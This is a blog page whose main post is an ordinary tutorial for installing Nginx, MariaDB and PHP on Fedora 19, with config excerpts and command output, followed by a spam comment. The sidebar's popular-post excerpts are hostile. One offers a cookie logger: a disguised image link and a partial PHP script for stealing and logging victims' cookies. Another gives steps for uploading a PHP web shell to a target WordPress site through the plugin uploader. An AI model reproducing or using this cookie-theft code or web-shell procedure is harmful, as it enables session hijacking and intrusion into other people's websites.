Skip to main content

Install LEMP Server On Fedora 19:-

Install LEMP Server On Fedora 19:-

-----------------------------------

 

Install LEMP Server On Fedora 19
LEMP is a combination of the operating system and open-source software stack. The acronym LEMP is derived from first letters of Linux, Nginx HTTP Server, MySQL database, and PHP, Perl or Python. We already have shown you how to install LAMP on many platforms.
Install Nginx
Nginx (pronounced engine-x) is a free, open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server written by Igor Sysoev.
First login as root user to perform installation:
$ su
To install Nginx enter the following command in your terminal:
# yum install nginx -y
Enable Nginx service to start automatically on every reboot:
# systemctl enable nginx.service
Start Nginx service using the command:
# systemctl start nginx.service
Test nginx
Open up your web browser and navigate to http://ip-address/ or http://localhost/. You will see a screen something like below.
Fedora 19 desktop, 1 nic, internet, bridge, local repo [Running] - Oracle VM VirtualBox_009
Configure Nginx
Open the file /etc/nginx/nginx.conf in any editor:
# vi /etc/nginx/nginx.conf 
Set the worker_processes (i.e No. of CPU’s in your system). To see the no. of CPU’s, use the command “lscpu”. In my case it’s “1″. So I set this as ’1′:
worker_processes 1;
Scroll down further in this configuration file and set the server name and PHP scripts:
#
# The default server
#
server {
    listen       80;
    server_name  fedora.unixmen.com;

    #charset koi8-r;

    #access_log  logs/host.access.log  main;

    location / {
        root   /usr/share/nginx/html;
        index  index.html index.htm;
    }

    error_page  404              /404.html;
    location = /404.html {
        root   /usr/share/nginx/html;
    }

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

    # proxy the PHP scripts to Apache listening on 127.0.0.1:80
    #
    #location ~ \.php$ {
    #    proxy_pass   http://127.0.0.1;
    #}

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    ## Uncomment or Add the following lines
    location ~ \.php$ {
             root           /usr/share/nginx/html;
             try_files $uri =404;
             fastcgi_split_path_info ^(.+\.php)(/.+)$;
             fastcgi_pass   127.0.0.1:9000;
             fastcgi_index  index.php;
             fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
             include        fastcgi_params;
    }

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /\.ht {
    #    deny  all;
    #}
}
Save and close the file. Restart Nginx service:
# systemctl restart nginx.service
Install MariaDB
MariaDB is a drop in replacement for MySQL. It is a robust, scalable and reliable SQL server that comes rich set of enhancements. The default database of Fedora 19 is MariaDB.
Install it using the following command:
# yum install mysql mysql-server -y
Enable MySQL service at boot time with following command:
# systemctl enable mysqld.service
And start MySQL service using command:
# systemctl start mysqld.service
Set MySQL root password
By default MySQL root password is empty. So to prevent unauthorized access to MySQL, let us set root user password:
# mysql_secure_installation 
/usr/bin/mysql_secure_installation: line 379: find_mysql_client: command not found

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB
      SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY!

In order to log into MariaDB to secure it, we'll need the current
password for the root user.  If you've just installed MariaDB, and
you haven't set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none): 
OK, successfully used password, moving on...

Setting the root password ensures that nobody can log into the MariaDB
root user without the proper authorisation.

You already have a root password set, so you can safely answer 'n'.

Change the root password? [Y/n] y
New password: 
Re-enter new password: 
Password updated successfully!
Reloading privilege tables..
 ... Success!

By default, a MariaDB installation has an anonymous user, allowing anyone
to log into MariaDB without having to have a user account created for
them.  This is intended only for testing, and to make the installation
go a bit smoother.  You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] 
 ... Success!

Normally, root should only be allowed to connect from 'localhost'.  This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] 
 ... Success!

By default, MariaDB comes with a database named 'test' that anyone can
access.  This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] 
 - Dropping test database...
ERROR 1008 (HY000) at line 1: Can't drop database 'test'; database doesn't exist
 ... Failed!  Not critical, keep moving...
 - Removing privileges on test database...
 ... Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] 
 ... Success!

Cleaning up...

All done!  If you've completed all of the above steps, your MariaDB
installation should now be secure.

Thanks for using MariaDB!
Install PHP
PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely used open-source general purpose scripting language that is especially suited for web development and can be embedded into HTML.
Install PHP with following command:
# yum install php-fpm php-mysql php-common -y
Enable and start php-fpm service:
# systemctl enable php-fpm.service
# systemctl start php-fpm.service
Configure PHP
Open up /etc/php.ini file in any editor:
# vi /etc/php.ini
Find the line cgi.fix_pathinfo and change the value from 1 to 0 (zero):
[...]
; http://www.php.net/manual/en/ini.core.php#ini.cgi.fix-pathinfo
cgi.fix_pathinfo=0
[...]
Open up the file /etc/php-fpm.d/www.conf:
# vi /etc/php-fpm.d/www.conf 
And change the user and group values from apache to nginx:
[...]
; Unix user/group of processes
; Note: The user is mandatory. If the group is not set, the default user's group
;       will be used.
; RPM: apache Choosed to be able to access some dir as httpd
user = nginx
; RPM: Keep a group allowed to write in log dir.
group = nginx
[...]
Save and close the file. Restart php-fpm service:
# systemctl restart php-fpm.service
Test PHP
Create a sample “testphp.php” file in Apache document root folder:
# vi /usr/share/nginx/html/testphp.php
Append the lines as shown below:
<?php
phpinfo();
?>
Save and close the file. Restart Nginx service:
# systemctl restart nginx.service
Navigate to http://server-ip-address/testphp.php. It will display all the details about PHP such as version, build date and commands etc.
Fedora 19 desktop, 1 nic, internet, bridge, local repo [Running] - Oracle VM VirtualBox_010
That’s it. LEMP server has been installed and it is ready to host your website now.
----------------------------------------------
#Satyamevjayte!!

Comments

  1. I believe this is among the so much important information for me.
    And i'm happy reading your article. However should statement on some common things, The
    website taste is wonderful, the articles is actually excellent : D.
    Excellent task, cheers
    SoundCloud Downloader http://userscripts.org/guides/861 is
    the easiest way to download songs directly to your computer.

    You can download any song on SoundCloud. Just click and download high quality mp3 files.

    SoundCloud Downloader - download music from SoundCloud easily!
    Break limits with this awesome SoundCloud Downloader!

    ReplyDelete

Post a Comment

Popular posts from this blog

Assembly Language Step-by-step: Programming with DOS and Linux-

(-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary

Bypass while FTP login during wordpress shell uploads .

In this post I will be telling you how to bypass FTP login during wordpress shell upload. Sometimes when we are shelling a Wordpress website by uploading a theme in a zip file, it asks for ftp login information. This can be easily Bypassed using the below Method .  First of all, Log In to your target wordpress website, then in the left side, look for  Plugin option, click on it and select  Add New . There you will see a page titled  Install Plugins,  below it look for the option  Upload  and click on it After clicking on the Upload option, you will get a new page asking you to upload the plugin, browse your.php shell for there and click on Upload After the upload process is completed, you'll get the following Just skip this forum, and you are done xD ! Suppose the name of your shell was code.php, so inorder to access it goto http://www.website.com/wp-content/uploads/code.php